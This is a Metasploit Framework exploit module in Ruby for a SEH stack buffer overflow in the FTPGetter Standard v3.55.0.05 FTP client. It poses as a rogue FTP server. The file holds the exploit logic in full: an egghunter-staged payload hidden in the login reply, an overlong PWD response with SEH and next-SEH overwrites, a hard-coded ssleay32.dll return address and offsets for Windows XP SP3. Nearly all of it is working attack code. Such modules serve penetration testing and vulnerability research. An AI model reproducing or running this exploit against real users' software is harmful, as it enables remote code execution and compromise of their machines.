92 lines
2.1 KiB
Ruby
92 lines
2.1 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::FtpServer
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)',
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'Description' => %q{
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This module exploits a SEH overflow in FTPGetter Standard v3.55.0.05 ftp client, triggered
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when processing the response on a PWD command.
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},
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'Author' =>
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[
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'ekse', # found the bug
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'corelanc0d3r', # wrote the exploit
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],
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'License' => MSF_LICENSE,
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'Version' => "$Revision$",
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'References' =>
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[
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[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'XP SP3 Universal', { 'Offset' => 485, 'Ret' => 0x100139E5 } ], # ppr [ssleay32.dll]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Oct 12 2010',
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'DefaultTarget' => 0))
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end
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def setup
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super
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badchars = ""
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eggoptions =
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{
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:checksum => true,
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:eggtag => "W00T"
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}
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@hunter,@egg = generate_egghunter(payload.encoded,badchars,eggoptions)
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end
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def on_client_unknown_command(c,cmd,arg)
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c.put("200 OK\r\n")
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end
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def on_client_command_pass(c,arg)
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@state[c][:pass] = arg
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c.put("230 OK #{@egg}\r\n")
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return
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end
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def on_client_command_pwd(c,arg)
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junk1 = "A" * target['Offset']
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junk2 = "A" * 9
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nseh = "\x74\x06\x41\x41"
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jmp = "\x75\x08"
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seh = [target.ret].pack('V')
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junk3 = "D" * 22000
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#dual offset
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buffer = junk1 + nseh + seh + junk2 + jmp + nseh + seh + @hunter + junk3
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c.put("257 \"/\" #{buffer}\r\n")
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print_status("Sent payload, #{buffer.length} bytes")
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print_status("Wait for hunter ...")
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return
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end
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end
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